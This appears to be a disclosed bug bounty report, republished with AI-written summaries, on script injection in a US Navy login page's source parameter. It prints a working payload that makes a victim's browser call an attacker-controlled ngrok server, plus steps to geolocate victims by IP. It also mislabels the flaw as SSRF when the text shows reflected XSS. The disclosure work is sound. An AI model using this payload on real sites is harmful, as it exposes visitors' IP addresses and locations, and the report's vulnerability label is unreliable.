SSRF in login page using fetch API exposes victims IP address to attacker controled server
The login page reflected a script payload in the source parameter, causing the victim's browser to make a request to an attacker-controlled server. This exposed the victim's IP address and browser details, allowing the attacker to infer their location.
- Triaged in 16 hours
- Fixed in 27 days
- Disclosed after 3 months
Note: This is similar to my last report #991163.
Summary: Server Side Request Forgery Exposes Victims Ip Address to External Server and which made attacker possible to determine physical location of Victim with IP Tracing. Description: Server Side Request Forgery is the critical vulnerability occurring in web application where attacker can perform malicious action on behalf of server. SSRF can lead to port scanning, cross domain hijacking, pivoting , extracting system files and many more. In this case, I use ngrok to generate our custom domain to prove occurrence of SSRF. Once I have custom ngrok domain i can analyze all request that are coming to the domain. I used fetch() API property of JS to perform cross domain request and perform Server Side Request Forgery.
Step-by-step Reproduction Instructions
- Open the URL https://www.█████████
- Open your ngrok instance and copy your listener domain it
- SSRF payload '><script>fetch('your ngrok instance')</script>
- Append payload to source parameter
- Final Crafted URL████&source='><script>fetch('your ngrok instance')</script>&server=submit.moboard.com&display=Please+log+on&title=%3C
- Open 127.0.0.1:4040 in browser to analyze all incoming request
- Open URL of Step 5 from any other device than the device ngrok is running
- The request from US navy hits our ngrok client in 127.0.0.1:4040
- The request contain ip address of victim who opened the URL, browser info, Operating System and many more.
- We can trace victim location with ~$curl ipinfo.io/IP-address-of-victim
Screenshot is attached below with the request from navy server that hit my ngrok client
Product, Version, and Configuration (If applicable)
Browser: Firefox 80.0.1 64 Bit
Suggested Mitigation/Remediation Actions
Impact
Server Side Request Forgery Exposes Victims Ip Address to External Server and which made attacker possible to determine physical location of Victim with IP Tracing. Also, attacker can launch port scans, launch exploits to whoever visits the US NAVY Website.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the source parameter was reflected into the page without proper output encoding, allowing script injection.
Impact
An attacker could learn a victim's IP address and approximate location, and the report claims port scanning and exploits are possible.
What the attacker needed
Victim clicks a crafted link; attacker controls a server (e.g., ngrok)
How it was found
- Open the target login page.
- Set up a listener using ngrok and note its domain.
- Craft a URL with a script payload in the source parameter that calls the ngrok domain.
- Open the crafted URL from a different device.
- Observe the incoming request on the ngrok client, which contains the victim's IP and browser details.
- Use an IP lookup service to estimate the victim's location.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The login page took a value from the web address and put it directly into the page without cleaning it. An attacker could craft a link that, when opened, made the victim's browser send information to the attacker's server. This let the attacker see the victim's IP address, which can reveal roughly where they are.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.